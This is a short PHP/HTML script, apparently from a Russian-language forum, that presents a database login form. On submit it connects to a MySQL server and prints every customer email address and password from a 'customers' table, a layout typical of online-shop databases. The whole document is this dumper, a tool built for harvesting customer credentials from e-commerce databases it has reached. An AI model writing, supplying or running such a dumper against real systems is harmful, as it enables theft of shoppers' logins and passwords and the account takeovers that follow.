Код:
<html> <head> <style type="text/css"> #dumper {border:solid 1px #ff0000; width:auto;} </style> </head> <body> <?php $dbhost = $_REQUEST['dbhost']; $user = $_REQUEST['user']; $pass = $_REQUEST['pass']; $dbname = $_REQUEST['dbname']; $table = "customers"; if(empty($dbhost)) {print "<form id=DBLOGIN name=DBLOGIN method=post action=> <table width=302 border=1> <tr> <td width=97>Server</td> <td width=189><label> <input name=dbhost type=text id=dbhost /> </label></td> </tr> <tr> <td>Username</td> <td><label> <input name=user type=text id=user /> </label></td> </tr> <tr> <td>Password</td> <td><label> <input name=pass type=text id=pass /> </label></td> </tr> <tr> <td>Database</td> <td><label> <input name=dbname type=text id=dbname /> </label></td> </tr> <tr> <td height=28 colspan=2 align=right valign=middle><label> <input type=submit name=Submit value=Connect /> </label></td> </tr> </table> </form>"; }else{ if (!@mysql_connect($dbhost,$user,$pass)) { echo "Could not connect to mysql";exit;} if (!@mysql_select_db($dbname)) { echo "No database selected"; } echo" <div id=dumper> <table width=600 border=0> <tr> <td align=left valign=middle>Email</td> <td align=left valign=middle>Password</td> </tr>"; $result = mysql_query("SELECT customers_email_address,customers_password FROM $table"); while ($mask = mysql_fetch_array($result)) { echo" <tr> <td align=left valign=middle>$mask[customers_email_address]</td> <td align=left valign=middle>$mask[customers_password]</td> </tr>"; } echo "</table> </div>"; } ?> </body> </html>